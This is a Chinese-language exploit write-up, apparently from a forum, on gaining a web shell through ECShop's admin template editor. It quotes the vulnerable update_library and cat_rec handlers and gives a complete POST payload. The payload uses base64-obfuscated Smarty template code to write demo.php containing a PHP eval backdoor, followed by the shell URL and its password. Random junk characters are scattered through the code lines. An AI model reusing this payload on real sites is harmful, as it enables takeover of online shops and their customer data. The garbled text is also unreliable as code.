Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
9 Q, g4 d; L' r0 a7 q" l! A3 c
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

2 z& f* l4 }' i6 l1 if ($_REQUEST['act'] == 'update_library')
' ]7 B* r% u' K5 x' V$ L" Y
! f+ Q) V+ C1 g( T2   

  i7 I- G/ i, E+ v8 h* t2 L3 {

0 {+ B& H  _6 o4     check_authz_json('library_manage');
; Q5 t) i3 Z2 a+ f/ Z$ G
  g; p, I# T9 I) P5 W  P5   

6     $html = stripslashes(json_str_iconv($_POST['html']));

9 ]% @  J% C, u, `7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
3 C4 E, G0 Y) p  v% a; \9 F
* k" v9 s1 x' y; ?1 y/ b4 f1 I! B9   
! P+ A# c1 ]* x: Y" m4 d6 f6 c& G5 h
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   
% S( O' }0 L$ N, i/ D' \) a$ ~
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   

' T% p( [7 r' O* R& Y6 Y14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
" J) [# [  U& V& X
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);

& g, E, f* p0 @2 Y18     }
# P' X/ B4 E! m$ l; v$ w" o9 G4 V
2 {5 X0 x0 J2 \19     else

! H# ], m* j! s1 H$ H7 n$ z4 v20     {
- N7 H" V, F, e$ `! B
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }
2 s/ S5 f. g' z3 d
23 }
5 i. h+ h- I- L' p
那么找个比较方便调用了模板的文件
index.php
7 @6 d  }' B( t( t  ]
1 if ($act == 'cat_rec')
) z8 L1 O5 H& V+ d) j0 \" Y
2   
7 ~8 q8 @/ f( X) f" S
6 }, b4 ~- V+ I) L& Y3 {

4   
4 u3 _( p8 C+ f& Z# }9 Y) y$ h
5 ~. ~2 v/ p  a8 ^5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
7 M; I- c5 l7 C8 R
6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

( s% }7 V+ W7 ^- v7 q: a' J8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

  e2 t8 P! o- }' p7 P1 y& F/ z" d10   
' ]2 {) Z" S) X7 _6 c  U
11     include_once('includes/cls_json.php');
# Q& J/ B( {% p2 Q( V" U7 k8 q3 S
12   

13     $json = new JSON;
: D9 b& Y# c1 @) h5 b+ }/ W" j
14   

) w' _. A' d# n4 Z% s15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
7 J( O- P3 V! f1 B1 t
16   

17     $children = get_children($cat_id);

6 M" ^1 q7 Z% ^5 }$ y18   

9 {0 F: @2 ]" E0 v8 x3 n$ m& M19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
# R  |  F# ?5 p& b* H
20   

# y/ @& g- h% q" g4 E21     $smarty->assign('cat_rec_sign', 1);
/ ^  z( Y  W, O, {. Y& \2 j
22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

. K6 f# v! B, t( D! t# [% W2 v24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
! I6 y$ l- {( `% T: B# B
26   
* W: u" x0 `. |% t/ O9 t
27         echo $rec_array[$rec_type];
: n, R3 c  u; X' a8 W
6 _, H( }4 x+ B, ^$ Y28   
# Q1 ~9 f3 b- K
& Z7 y+ L, ?' M+ l! E29     die($json->encode($result));

30   

3 H; O$ x, {% e3 U; |, u0 _+ ~, v% ]31 }

4 d' J/ S7 S( Q4 }* D; A那么就有利用方法了
; K: u) E8 G3 U" W/ tpost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
( n8 x" p3 X8 K8 E4 m# o
- p, t; L, F  F9 C! q# b​
9 h, D) i, j7 o! m' v; r1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec
/ b% K" m# d2 ?! |/ H
& t/ \  b$ u& J5 n' eshel地址：http://localhost/ec/demo.php
, Q0 ^% A5 Q9 J9 M' F( M密码c
) v( n9 z( o+ I5 R3 g6 D* P0 Q( z
" i# v- A4 E) T